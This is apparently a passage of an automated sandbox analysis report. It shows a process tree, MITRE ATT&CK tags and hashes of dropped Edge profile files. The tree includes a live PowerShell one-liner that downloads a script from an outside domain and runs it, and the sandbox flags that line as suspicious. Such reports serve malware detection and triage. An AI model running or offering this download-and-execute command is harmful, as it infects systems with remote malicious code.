    3⤵
    PID:960
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6248,i,16282383780326994066,5528685486430611894,524288 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=3284 /prefetch:14
    3⤵
    PID:6016
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6748,i,688610900998901666,17231298660320250822,524288 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=6824 /prefetch:14
    3⤵
    PID:1164
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3280,i,1506445281329807802,855419787865363978,524288 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=6708 /prefetch:14
    3⤵
    PID:2768

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2464

C:\Windows\system32\cmd.exe
cmd /c powershell -Command "irm 'https://dystoria.cc/mon' | iex"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "irm 'https://dystoria.cc/mon' | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1316

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:348

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 90371bf7f2d9f3b60c0aa66ed89740cd725604cc541112971bd392e8746018f0
MD5 a9d241f865f7d582346ece871b98ee14
SHA1 c59a959f2a8673df7c09862b8f91a9e9492ec3cf
SHA512 4822e1484423dfa2530e9a541260d4dcddb675339b2e5fb22cf50c15d65cd0b147c7d94ff11a6d6523e90406c9ad88e5919ccc3fc5ec3b74cbfa28567977506e
TLSH
T1F3D01266374AB001E76D8230E4C2C311266654E038864A01B214C81D99A41D86293186
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 b24846f4bb01e57dd47994ee8ca33e14a6a356938971c33205ed76a4fe3c7b61
MD5 2415c177850265ec333bf407bedd2c4b
SHA1 2ccfbe660996437603bf4e0b70309310c3095994
SHA512 1a616d299248ea7424c92347e2568121b74d992540a7c2809c47f5e8113710d7965935a30c55d53ceef337cee1ae1bdbacfc42ed7e68109e206d0f729f22be4f
TLSH
T1E4D012663B4AB001E7698230E4C2C311267650E038864A01B254C81D99E41D86693186
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 331B
SHA256 a89b7cceec656e0db4f5e001f9557b64754aa4910be1acdf5d0473664950d8b5
MD5 2ae4041e03e77b289270aa4e4803c81d
SHA1 62d0e8f3b15704a22e2cf07a4071a945fc14daf4
SHA512 2cb14030016855a69a592c30659ba8c2496bf7d425898d964d3f99e867eb4aa0345d874d62d0cd6dc7ca88b8e91af8312faea7b2e6b065bff516cb945540b065
TLSH
T136E0268804EAC21F9268A847417B6B0CC281360B97CCFA5B5B08C8C4B001288A3B25D8
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 334B
SHA256 1fb283541af62ca8f31556433a419aec00b80e84a79a8362e98905d3ad14a525
MD5 2befd02f7da2ac7add4e7ecd02eba4fe
SHA1 0c327f2c944b01226a4998da983723032f7ac6ad
SHA512 a3c60027b68d7566871d71112ada38c46af07bfb41b23272be34fda52ef8780c5380315b0e3edff1fa7914983b9909198b136bafeb7b95dd87fe5d01bbf6a567
TLSH
T1E3E086E946CEC29F924C644B476EBB6C82D1760ED7C8BE4E1709C4987141A85A3A6590
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 6cbd772b21bd4bb1fffde638940b6984ccf6979fdcaaf5ed79fa8be97b97f573
MD5 a0e208ccc28b8fa793093baf496f1830
SHA1 ab4f27e19c253bd3ea2f844fab0ca2ae0a090635
SHA512 5037eeb57a0dace17dc010eba2d86fb14a175240b12ff9104cbe238a4dcde460f1586f19e0fdd267d5c09807947900df6f96f3fd4c40d57fd20f2b59a3c73a06
TLSH
T185E02BAAD9229C3B08FD075C74901F42E70513262B40895F763C820CCFB463E069692C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 6bb4c7d07f63e4a1710f6e6832d6df99c72e50057cf9cec1b3dc9e62655ecb57
MD5 39a4f42493b876a23fcebb341f6ab93d
SHA1 9413d142dad73c093c25eef0990d555c2b067139
SHA512 81b7ae0af040f5e99eeab37ec6c8469a29d9af4b00cf822d9a4908424d32b1725485970c749890f6b238c45f67f36256d3295f5fb56d267aa4d32adf7bf1d560
TLSH
T13D5192098A870573F7423AF1B1C003C473FC75445E576E4289A4F9B5B16AB3A87F0348
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe587b17.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe587b17.TMP
Size 2KB
SHA256 d6db7fc67959c31c81a934a13d8bbcdf3458bd9ab8338004bfcda46e9a4022be
MD5 575b80c7a0fb309d10cbf3aa858f1e74
SHA1 15e2086a2988e44bc8ec10836e583ce8a59575d9
SHA512 bb935fb62561c4c1fa12691ce97080eccf613a8a4252ffa9673ddc3fa49787c201c8585ff7c942b665b365015295c40c522e71198b3cda6961d4556326e7b319
TLSH
T1B8518E098A8B0573F7423AF1B1C053C473FCB1440D5A2E428994F9B6A4AAB2A8BF0348
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 e335fd5e39ed8b3eca7a89e3af08ddd37ab95762739f9ad25cfea82099bb6178
MD5 6287e69e337bd58cb7a77a6f1b2c11c6
SHA1 eed8ea8f964ee5c8e4741cc8bff0814e3c951bd1
SHA512 c5cc78806e5142911d9e8bad5947a824548f141228abdd8cb76fd6031e78dbd8b3d184f9ec28caddc85c8bbfbcde0ad7031824523c5022ce4e68ca96b977077f
TLSH
T16651CBF787F4866EC91191F0AA147E2BCE2D0525532C3DAA89E4BE5793E2072E041B4B
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 3973aff23d9e0748d6425524ce2987d301be44cc3b6bce61cf983f0b3efb9fd5
MD5 2c6cc01ee3cadc5252fed7cecc3ea85c
SHA1 a3bb06be869e2ccc9e22c27ea9f22389f5759479
SHA512 cfe2824278de42d97157db5fef2094e89ed1480881284ba5df092dcc35e4d3026dcb93a2806797eec80b5008582c1f3c7ee773b2fe9158dd821f565b6ae45066
TLSH
T13F51BEF7C7E4866EC91191F0AA147E1BCE2D0525532C3DAA84E4FF5793E2472E141A4F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity
Size 522B
SHA256 fe55d4299a0bbc3e68ee709d172ca914b70d8802aaa706a1594695efae121e95
MD5 451c0249e0261d1138637bd4f81e7c47
SHA1 0042b3dc25a94360c13b42612a8fa2c913515e4b
SHA512 829142baa807124ebe396e086b522d9c7f6e6ee26533fc716979df8a917854c171c00f9dfe188d4c73e30f1aadb33adcc51917cdbca158d5f40fc74e35bf05dc
TLSH
T161F02463C8BEF4375079183F2E487C81A579A435018195F1C9CAA27EA086DF79602266
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 16KB
SHA256 7a820e7911da1b8618eed2b9b318eead83827c788104204f4f1007746c7a3a1d
MD5 b2aef2dc8621b0cca042976d565584b4
SHA1 46a198432488efbde2ff9461e91d0731d5e0df98
SHA512 98b3b905b49124c2ddd4bca42f1d6973f7f746ed9869cdbf9aeec732c599d50efdf6331348587a35de37bcc71446927da3410dac05e004e1e6a715e58d8bbcd8
SSDEEP 384:sxZMFqf//fBsV0V7orH0+p/biZ/59jLAx:sEUf//fg0fE/bid59e
TLSH
T1CF72090AAA345D378CDBD219F9457B93D6F91673D1900E449AFC8B0C05E6AED221383F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 5c65e5a6e3cd4f341968207139a5626355cb238b9ec791be72442311662627d8
MD5 97b2967962a89deed47fd9dd8f6880cc
SHA1 9dda1d08932b8ae38652c948209f3dc5f42ff722
SHA512 bb61167ea46e1eeb9b936d6d29fcea482a696bd1ba276737edcde0bb3dcab19190bdaa989bbf6bf144c043c8048dc2f141c17b7b5ec84db80be83cbf157d6a27
SSDEEP 192:sxZMRwyMqZjK1Ml8Mc//fBsVFi1KQ7PgYsH0Vzodpz1/W6+WNi5Qe/Y0ZyCJWwIf:sxZMF0//fBsV6V7orH0+p/biZ/5pjjJm
TLSH
T15F72F8166A349D778CDBD219FA457B93D2F91673D2900E449AFC8B0C05E6AED221383F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 36KB
SHA256 f5867cd1eef6da1d2fb99a3f72dfb71e9c5c1724fc66fc43efeef65f8551e3ce
MD5 cefaccc4612a3a3d869192c7d175551b
SHA1 19deffa27e748614416639a7eda946309647f963
SHA512 b2f7a66643856c4fb35f1d5fb5620f1ebc29591efba79b342b8c8f3c83c71de25a9a5082a7ae16d7fd1a497fa74f1e35796a6375f18c4e9a3c86e82e795543fb
SSDEEP 768:XwZh38Dv2S47pLuLnZFWRm6GQFm8F1+UoAYDCx9Tuqh0VfUC9xbog/OV3XGq9LlH:XwZh38Dv2SkEnZFWRm6GQFmu1jaKXGqn
TLSH
T1A8030A3B280CCB7E4F844E9CED267F8A6EE8028B56988D5447FA494C02C66EF55174DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
Size 474B
SHA256 0036e8b4f6df19dec07338f6ee4b2888a65d604511565cfa68cde3aa0e12eba3
MD5 496d443852b958be9d7342bbdcb99839
SHA1 ecc12896fa704295a9d2fd435e2afcc0e8a087a2
SHA512 b28bf8186de61188da310a05f75deb032a54204cb8b93f2d6882ce7a2ccdf773a69706a2de4e5d6c18df5ac445871e3a51cd1a39871bba4b71f4d2b5f608ab28
TLSH
T113F027B72DE72D15FEABCBD11031057104103869C954AC5F242AB2A790A1B392899C72
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 23KB
SHA256 61dea3d1fa6c6dc73b89e9d30144fd53eb689857eace88e21e529c8e672d17e8
MD5 1017b0df47e7004d58353d4856d04a21
SHA1 3085493a44730b0fd32193be1bda4698af4572d2
SHA512 6943673cd440780c8a3d44d367efec6876c588ab1288f3d06760cbebd5e8ade8d9a3e55a3700b861a08db0b8f7f8a059265a2387ccb2c59c26b7c7200cb17d6c
SSDEEP 192:cFkbIH791le1K77LTl56jbSp+bv+TVCNnCtTq/tVZ3KjlnrBz:ctGj+BCNC5qFVpKxn1z
TLSH
T136B28A1632BA02033C3D791D87A597375A42B2A33058E93B7BE954B60E67E214DFD8CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.4.17\data.txt
Size 149KB
SHA256 fac5ec341b2f4b9c98a8bd7ec852589ee81e4938812666568752f36ae4f115ab
MD5 37f7815ef32ef7a6d94bf74fff24d177
SHA1 7f89ad80f67aad3ff68cbb27b15bc2ec7abe1bee
SHA512 843a7845f7c020a7d111b8dffd1482625fab9eb15afabff99e2cada1533d1a90c33807c208e536b4062cd4356ca9b19ca648f98b8c708d840d5d52378af13e03
SSDEEP 3072:SPAgDcCHaLHl65aynyosxb3+B1xh0OrlwYEhRUnf3WzARDcgGfQUX:+X1aI5aZoKzMJ07Nh6n/vDcgMQ+
TLSH
T1CFE3F1148DC44FDDDEA8291C90FD0F2D23A0C6AD857BA5CAE323BD49BFA79045727185
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

office_endpoints_list.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Data Protection Lists\2026.6.5.1\office_endpoints_list.json
Size 9KB
SHA256 f0c77aaacfc571e0bc3f51387febe134d991bf3c7f1941af303ed901f288dcd6
MD5 30719122f9edf4e23019a3b74e4f4325
SHA1 6707d64052797b9c5f1a5ccf016e5859c8ef898b
SHA512 ec2e1a33fcd1301f282512ffafb611ea705dc5df09d9aee014276909c1b62b0c73600121d94e9b6d9e160296672b41f2cb8c3ba23f121244ad2ea6521680723c
SSDEEP 96:DdQ/JJvwjyUsrdfsysVsnQfbJNZidYusysXYs2sFsdv12XvlRT07s/DkhcrHPglW:D7d7mfgiIWRcV4sobxezQd1Y
TLSH
T11512BB3BC4B49F229AB060659705E244F13C43BF5600C6FF76B9829C1F366ECA58E1E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wallet-checkout-eligible-sites.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\128.18367.18366.1\json\wallet\wallet-checkout-eligible-sites.json
Size 23KB
SHA256 2abefae3d72e7c4f5cdc94eb0ee552612d843a26faf4a7bd061c73839e19d7eb
MD5 ed22bc3ded6df0109b9e594867473559
SHA1 ee39eb80dc23f7fd764199cbe4a153c4edc2e768
SHA512 fb337c0a0107dc37a3067bcd6f60ffb8f63ee892a0ff729dcdf67c7a21fec95a742a274853e8947489108d7543c13b9479e02574f490bc217e8a182f08543aa3
SSDEEP 384:rQR5dkrKzmQWgFlhpyZv8CTi8I6kxAvh0mD:reKrMP8d5JIVAvhV
TLSH
T18CB21064C9210DE11FE4412B6878224B1A3C951B8F90FAFE3B6D928C1F5E06F61B95FD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wallet-notification-config.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\128.18367.18366.1\json\wallet\wallet-notification-config.json
Size 804B
SHA256 bb26ce6fe9416918e9f92fcc4a6fe8a641eceea54985356637991cf6d768f9fd
MD5 4cdefd9eb040c2755db20aa8ea5ee8f7
SHA1 f649fcd1c12c26fb90906c4c2ec0a9127af275f4
SHA512 7e23b91eab88c472eec664f7254c5513fc5de78e2e0151b0bcc86c3cd0bf2cb5d8bb0345d27afdd9f8fcb10be96feaa753f09e301fa92b8d76f4300600577209
TLSH
T1AB0189EEC8800EB216C24A3A163985C31A3756576C953D147FC9741C2F5D62F22FB98D
MD5 SHA1 SHA512 TLSH

Submit Download

wallet-stable.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\128.18367.18366.1\json\wallet\wallet-stable.json
Size 81KB
SHA256 c1611bb1872456d5ba656cacea801b833ea43126a6ad7e43e143d52cba9d9597
MD5 46ca0b1726448d9c7ed48735c246336f
SHA1 8e26f1f1c6f909f2f3d34c17e042e579f3b2b449
SHA512 c9ec0465c2c0eb0bc0316163f9a2dab9332c372dfc4ebedb0ef4139fe1195efdd8aa34367155c29e659d97d5a27e2395ce2f6012c115ef5791bad270de26bb28
SSDEEP 768:r7PEXSl9cv2tlNnqSBBoCJkQgXzwb7XARjMLVF2CYgYHFkJ/Eqajvapznp+9l:08W27jLgX2ZLSgYHFkJ/EqajvWnAf
TLSH
T1F283DB29C9120DB11FA4001A28BA290B297C960B4F55FAFD7B6C938D1F0E45F61F59FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wallet-tokenization-config.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\128.18367.18366.1\json\wallet\wallet-tokenization-config.json
Size 34KB
SHA256 0088d5ebd8360ad66bd7bcc80b9754939775d4118cb7605fc1f514c707f0e20d
MD5 ae3bd0f89f8a8cdeb1ea6eea1636cbdd
SHA1 1801bc211e260ba8f8099727ea820ecf636c684a
SHA512 69aff97091813d9d400bb332426c36e6b133a4b571b521e8fb6ad1a2b8124a3c5da8f3a9c52b8840152cf7adbd2ac653102aa2210632aa64b129cf7704d5b4fa
SSDEEP 192:0NOKnK+QXzpTYaDEqIyVZ5mxzrIAfrXKoNKExGI+MmsMR6Q9GMKPrZnfB4FXZ8N:SOKK+QXzpTYaDEq/e5EAfrRoRI+B9wC0
TLSH
T1A3F2FCB1D9009C932F58850A20BA9505376C52237F86F9FA736D424E9F9F58F2530EEE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 33KB
SHA256 038c153b65b88078afc37ceec685286938cb6d3c9557dfcc088a6d7ef66d2aa3
MD5 83b16d41b10039562712248c678bf1ee
SHA1 ba8e45f3dc0f180b58eb090caf261e71ca221879
SHA512 89773b6996ba44e96468ad0f22d01f7137a80288079ac01d32720a97b84a3153e6f8db508aa556dd4f8df83b7b5562dbd5a5cece89a41c91b89277a92d8689ee
SSDEEP 384:n7iF7tNn/s3n9St38Nq8TUNTUlIRHrk6zVuwu1ifbMoQ1uJ80aK3XZEAScjmwGzD:WF7j+923NwgivfoQ1uCJKZEA1jqP
TLSH
T16DF2C5F698D799B7D99E4B87A73D2E029AFCC16375884984F7945D0CCC861BFC306822
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 7255296acd1d909d53ef29fa0b1a215ad846a51bde40e08f57abf6ce0b10f5c4
MD5 c88bdf02d8c39708a4e74a43a08b19bf
SHA1 d00daca2b65ce95ac65952e49a10626bd06648f1
SHA512 ea564bfd8cc0135e6495197b56f4dc109a050a49b14278705bc05de2209d47607dab5842de91768bf8eb5b7c39d70fe431a7bf86fa6cde9e58d0734c7ddd4593
SSDEEP 384:nAiF7tNn/s3n9SH38Nq8TUNTUlIRHrk6zVbwu1ifbMoQ1uJ80aK3X+0AScjmwGzD:bF7j+9i3NwgiOfoQ1uCJK+0A1jqP
TLSH
T190D25B36EC59DABBEDEB8F89B74A7613DFE401A385884AC4DAD85D0D00C719D130BD26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 24KB
SHA256 d6933d03badba1bee079df5b757c5f1c63676429b8c29be099a36738bdf28493
MD5 89eddf9ceee0f0fe407641397aac30d2
SHA1 18f6a075b582c74b0dc1a16126e792998784550f
SHA512 aec263e64401c46ef5fec01956e9e8331a851c480ef0b9279781b98bda77df9a243058f77158946789d01a20d9d1724c3785af0c0fe9455e0f763d4e1031b2c5
SSDEEP 384:nwiF9CcmyWCs38NL8TUNTUlIxBrk6ofKF1ifbMoQ1uJ80aKGSFe4KV8p0jdty/7l:LFccps3wwg47KToQ1uCJ3SFI8p0+
TLSH
T168B25B36EC99CAB7ECEB4F99F74A7607DEE0126395889AD4DADC4D0C008719D170B827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 2547d5fe0e51884b418d2667c029512ebf9865a2cbcc4f52c723c7faa28c185d
MD5 a49323b47d49fa29939b9213508423b7
SHA1 19adb5b76316a2d6618f32966dec45c20429f600
SHA512 75d2222ac00a8f5b931d9169f4a16284c96c500f8acf6d9b990f0617656811bf14b33f0cb4f9c16105a8e0e4eb912a87ffd69a185b911c7d75eb6048f920d0a0
SSDEEP 384:nZiF9CcmyWCs38Ne8TUNTUlIxBrk6ldM61ifbMoQ1uJ80aK3X+RAe4KV8p0jdtyB:wFccps3dwg4eMaoQ1uCJK+RAI8p0+
TLSH
T1A2C26A36EC59CABBECD75F99E74A7603DEE01263858C8AD4DADC1E0D008B19D170B823
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 1bdbf559b2dbde1d1c0eb931b025670b6fc2b2b2c8b0abd76ac015a25f37466e
MD5 c21bbc36a05ba9f0b555782f050ad689
SHA1 939f4ae1f4afdab3d3ad73bd429eb6b2965d3188
SHA512 06e4f028c8a8a31c60acf85a4f3ff252a667da212ed1c2188a702675a79ce2fa7029b89cb7c7cae402c27f1cbae0abe8038b2f7e5d59714a8392e5a17292be16
SSDEEP 384:nAiF1tNn/s3n9SH38Nq8TUNTUlIRTrk6zVbwu1ifbMoQ1uJ80aK3X+0AScjmwGzD:bF1j+9i3NwgiOfoQ1uCJK+0A1jqP
TLSH
T11ED25B36EC59DABBEDEB4F89B74A7603DFE401A385884AC4DAD85D0D00C719D130BD26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 d5e3e8b9a94b1d800cbd1cd2e62daf5f4f65f5e6ba990c1925bc74ca6610a08f
MD5 609e3b71360cf7a1c9504c2df90f9e24
SHA1 f7af23382f7ae16d5e48931590c703e50df79226
SHA512 9bc2dc89e3573254c100c0fe4fce23b6f4694186b1c3bdfbc78d202e57cf03930805d5f326c9faaa4689a2022977141cef04ae02d9bf875805043de740210bc7
SSDEEP 384:n7iF7tNn/s3n9SH38Nq8TUNTUlIRHrk6zVbwu1ifbMoQ1uJ80aK3X+0AScjmwGzD:WF7j+9i3NwgiOfoQ1uCJK+0A1jqP
TLSH
T1B7D25B36EC59DABBEDEB4F89B74A7613DFE401A385884AC4DAD85E0D00C719D130BD26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Filtering Rules

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.84\Filtering Rules
Size 2.1MB
SHA256 5e301c48e6d7290990971e9f0bcb2263c8adba06ed0a2c6db5086949825d999b
MD5 43f62d9f35fa6597cec4e2ad5643e282
SHA1 8dba6404724ffd6a2e89901e8dc6e5e55fed3374
SHA512 91891d23464f89e6769d9ec7a28867e28f77925e6e3b3b75fb628d8672157ba239676c07699c931ac307a21ccc4dae95dd707d410f988ff82be4015103d4d6a3
SSDEEP 49152:ua2qP9SKIrivd04TxN/7Uw+zJEhs6dl61n4Kmq9SL6bbBT0HjTsQc8cxjw:u8d
TLSH
T1BAA55D237518BDF45BB31F3EA44B6D48823962A483E3EDC5EA2BD10ED5E014F79601B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.84\LICENSE
Size 24KB
SHA256 ed0f972d56566a96fb2f128a7b58091dfbf32dc365b975bc9318c9701677f44d
MD5 aad9405766b20014ab3beb08b99536de
SHA1 486a379bdfeecdc99ed3f4617f35ae65babe9d47
SHA512 bd9bf257306fdaff3f1e3e1fccb1f0d6a3181d436035124bd4953679d1af2cd5b4cc053b0e2ef17745ae44ae919cd8fd9663fbc0cd9ed36607e9b2472c206852
SSDEEP 384:mva5sf5dXrCN7tnBxpxkepTqzazijFgZk231Py9zD6WApYbm9:mvagXreRnTqzazWgj0v6XqK
TLSH
T140B2526EB64903731AF30116AA4B64DBF31ED03F362A4564346CC1481FB6E7443FA6EA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

typosquatting_list.pb

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Typosquatting\2026.7.20.1\typosquatting_list.pb
Size 738KB
SHA256 c45ca589e12ede5ad2d94c66891f20ba805f5109edc1a6d1cd7734851e470899
MD5 929d5213a119594f4c334ae8f98e2918
SHA1 2275bf3fd051b6ef08eaa757a52f9a08e1918731
SHA512 8a4ebec0d5acdff8150110475910fbe8689544fd005f2a248e27bcae47e5bc37d5f7c61daabf0d238d3d87cf2d5fdebaa1bd75d7cf36b86471989ce4e2173dde
SSDEEP 6144:RLfPL6KxmAjX5rzpVj8CZANIgafGaFU9OOemJFZKvmwko898O02:BfPL6KxmQX5rzPZGI3eaFiUFko898O02
TLSH
T10AF4C6B9DFC00154DB78112D20BE71D8181412A580EADFEAFE7C855F2BC2AC977E85E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 afa32b88b9987d08ed069d032f8431b331ab34c1325a9f144bd9606912d30754
MD5 57e1abdf51d54d48186ebb277eae15f7
SHA1 67ae27a6b3e4bc3fef2d1fe1779a52d20acdad94
SHA512 175905880f5f2621d4952a9db3c05f83e2f26f0f221ecf54df69957f9912ffaef39cd820a3fef6df0b0a7c419b3f74fabffaec07a6e63751c61ab684979874e3
TLSH
T1794120E04C385BC6D4BD0A7F709B74FC94D89729F89034792899EA984A79A2C248543F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
